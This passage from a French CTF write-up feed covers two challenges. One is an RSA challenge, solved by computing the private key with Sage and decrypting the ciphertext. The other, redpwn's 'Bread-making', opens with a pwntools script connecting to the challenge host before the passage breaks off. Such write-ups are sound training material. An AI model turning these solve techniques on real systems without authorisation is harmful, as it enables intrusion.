shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%209.156%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2014.602%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2023.002%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2032.337%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2047.118%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2052.564%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2062.927%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2076.93%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2083.93%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2089.376%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2094.822%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20104.653%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20118.656%2010.472%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20125.656%2010.472%29%22%2F%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.042%206.188c-.238%200-.448-.042-.658-.112-.882-.294-1.498-1.162-1.848-1.96-.588-1.302-.756-1.834-1.19-3.304-1.442.294-2.17.952-2.17%201.988%200%20.938.658%202.296%201.12%202.828q.126.147.126.21c0%20.126-.07.196-.224.196q-.357%200-.924-1.218C.896%204.004.7%203.276.7%202.646.7%201.19%201.806.266%203.08-.042L2.366-2.31a1.2%201.2%200%200%201-.084-.294c0-.294.154-.448.462-.448.266%200%20.448.14.56.406L3.78-.168c.154-.014.28-.014.406-.014%201.148%200%202.17.448%203.094%201.344q1.386%201.344%201.386%203.066c0%201.092-.574%201.96-1.624%201.96m1.12-2.268c0-.882-.42-1.652-1.274-2.31C6.09%201.022%205.236.728%204.312.728c-.084%200-.168%200-.238.014-.084%200-.126%200-.126-.014.21%201.106.336%201.764.392%201.96.322%201.106%201.274%202.59%202.562%202.59.784%200%201.26-.56%201.26-1.358%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.452-3.472c.126%200%20.196.07.196.196%200%20.042-.028.098-.07.154-.728.56-1.316%201.484-1.75%202.758-.378%201.106-.574%202.198-.574%203.276v1.176c0%201.078.196%202.17.574%203.276.434%201.274%201.022%202.198%201.75%202.758.042.042.07.098.07.154%200%20.126-.07.196-.196.196a.24.24%200%200%201-.098-.042c-.84-.644-1.54-1.596-2.114-2.87-.546-1.218-.826-2.366-.826-3.472V2.912c0-1.106.28-2.254.826-3.472.574-1.274%201.274-2.226%202.114-2.87a.24.24%200%200%201%20.098-.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.518%201.918C7.196.812%206.734.252%206.16.252c-.182%200-.28.14-.28.406%200%20.196.084.518.252.952.56%201.526.84%202.534.84%203.052%200%20.98-.658%201.526-1.638%201.526-.826%200-1.54-.364-2.114-1.106-.112.616-.602%201.106-1.316%201.106C1.12%206.188.812%205.46.616%204.83c-.14-.448-.21-.714-.21-.812%200-.126.07-.196.224-.196.07%200%20.112.014.154.042.07.126.112.224.126.322.252%201.064.574%201.596.952%201.596q.378%200%20.378-.588c0-.182-.07-.56-.224-1.134L1.218.882C1.176.7%201.092.336%201.092.266q0-.42.462-.42c.266%200%20.462.14.56.42.028.07.112.42.266%201.022l.294%201.246.42%201.596c.154.322.392.644.686.98q.609.672%201.512.672c.462%200%20.686-.308.686-.91%200-.532-.294-1.596-.896-3.192a1.8%201.8%200%200%201-.14-.644c0-.686.518-1.19%201.19-1.19.616%200%201.106.35%201.456%201.05.266.56.406.938.406%201.12%200%20.126-.07.196-.224.196-.042%200-.252-.126-.252-.294%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.092-3.43c.84.644%201.54%201.596%202.114%202.87.546%201.218.826%202.366.826%203.472v1.176c0%201.106-.28%202.254-.826%203.472-.574%201.274-1.274%202.226-2.114%202.87a.24.24%200%200%201-.098.042c-.126%200-.196-.07-.196-.196%200-.056.028-.112.07-.154.728-.56%201.316-1.484%201.75-2.758.378-1.106.574-2.198.574-3.276V2.912c0-1.078-.196-2.17-.574-3.276-.434-1.274-1.022-2.198-1.75-2.758-.042-.056-.07-.112-.07-.154%200-.126.07-.196.196-.196.014%200%20.056.014.098.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%205.138H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322%200%20.168-.154.322-.336.322m0-2.632H1.12c-.224%200-.336-.112-.336-.322s.112-.322.336-.322h8.652c.224%200%20.336.112.336.322a.33.33%200%200%201-.336.322%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.97%206.188c-.616%200-1.204-.322-1.778-.966-.154.644-.588.966-1.274.966-.574%200-.994-.462-1.288-1.372-.14-.462-.21-.728-.21-.812%200-.126.07-.196.224-.196.07%200%20.112.014.154.042.07.126.112.224.126.322.252%201.064.574%201.596.952%201.596.252%200%20.378-.196.378-.574%200-.21-.028-.448-.098-.7L.616-1.652C.49-2.114.476-2.17-.07-2.17c-.252%200-.378-.112-.378-.322%200-.154.084-.224.238-.224.21%200%20.938.042%201.148.042.266%200%201.106-.042%201.372-.042.21%200%20.308.112.308.336%200%20.14-.126.21-.392.21-.252%200-.63-.014-.63.154%200%20.182.574%202.38.63%202.618.28-.518.7-.784%201.26-.784.91%200%201.708.462%202.408%201.4.644.854.966%201.764.966%202.702%200%201.218-.728%202.268-1.89%202.268m-.042-.42c.546%200%20.826-.42.826-1.246%200-.378-.084-.882-.238-1.512C5.194%201.792%204.788.994%204.298.588%204.004.35%203.738.224%203.472.224c-.406%200-.686.182-.84.56-.126.294-.196.504-.196.616l.714%202.926c.07.308.322.63.714.952s.742.49%201.064.49%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%203.78H1.12c-.224%200-.336-.098-.336-.28s.112-.28.336-.28h8.652c.224%200%20.336.098.336.28%200%20.168-.168.28-.336.28%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.766%209.324q-.861-.882-2.52-.882v-.546c.728%200%201.33.112%201.792.336V1.148c0-.252-.056-.42-.182-.49S2.38.546%201.82.546h-.49V0q.525.042%202.268.042T5.866%200v.546h-.49c-.574%200-.924.042-1.036.112s-.182.238-.182.49v7.756c0%20.336-.028.42-.392.42%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.208%205.278c-.28.602-.714.91-1.288.91-.91%200-1.708-.462-2.394-1.4C.882%203.92.56%203.024.56%202.086c0-1.218.7-2.268%201.862-2.268.504%200%201.008.238%201.526.714l-.574-2.296a.45.45%200%200%200-.364-.378%204%204%200%200%200-.574-.028c-.084-.014-.14-.014-.168-.014-.126-.014-.196-.126-.196-.322v-.056a.245.245%200%200%201%20.238-.154c.266%200%201.106.042%201.372.042s1.148-.042%201.414-.042q.294%200%20.294.336c0%20.14-.14.21-.406.21-.252%200-.602-.014-.602.154%200%20.056.014.154.056.294l1.89%207.7c0%20.126-.07.196-.196.196-.252%200-.784-.7-.924-.896m-.448-.056c.126-.294.196-.49.196-.616%200-.014-.014-.098-.042-.224l-.336-1.358c-.266-1.008-.392-1.526-.406-1.554C3.906.98%203.136.224%202.464.224c-.546%200-.826.42-.826%201.246%200%20.644.434%202.212.63%202.73.266.658.882%201.568%201.652%201.568q.567%200%20.84-.546%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-display typst-doc&quot; style=&quot; width: 11.918383838383841em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;
Puis on calcule la clé privée d en utilisant la fonction &lt;em&gt;inverse_mod&lt;&#x2F;em&gt; proposé par Sage&lt;&#x2F;p&gt;
&lt;h2 id=&quot;remarques&quot;&gt;Remarques&lt;&#x2F;h2&gt;
&lt;p&gt;Pour convertir les long en byte, il faut importer la librairie python Crypto.Util.number&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Crypto&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;Util&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inverse_mod&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;phi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;^&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;d&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;Decrypted message : &lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;m&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;utf-8&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;D&#x27;autres équipes ont utilisées l&#x27;outil RsaCtfTool :&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Ganapati&#x2F;RsaCtfTool&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;Ganapati&#x2F;RsaCtfTool&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Bread-making</title>
        <published>2021-07-27T00:00:00+00:00</published>
        <updated>2021-07-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            carcajou
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/redpwn/bread-making/"/>
        <id>https://yctf.ch/writeups/redpwn/bread-making/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/redpwn/bread-making/">&lt;blockquote&gt;
&lt;p&gt;My parents aren&#x27;t home! Quick, help me make some bread please...&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Lien ctftime pour récupérer le fichier et voir d&#x27;autres writeup :&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;task&#x2F;16435&quot;&gt;https:&#x2F;&#x2F;ctftime.org&#x2F;task&#x2F;16435&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Script python utilisé pour résoudre le challenge&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python z-code&quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-from z-python&quot;&gt;from&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-source z-python&quot;&gt; &lt;span class=&quot;z-meta z-import-path z-python&quot;&gt;&lt;span class=&quot;z-meta z-import-name z-python&quot;&gt;pwn&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-python&quot;&gt;import&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-import z-python&quot;&gt; &lt;span class=&quot;z-constant z-language z-import-all z-python&quot;&gt;*&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt;where is this place
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;r&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;remote&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;mc.ax&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-arguments z-python&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;31796&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator 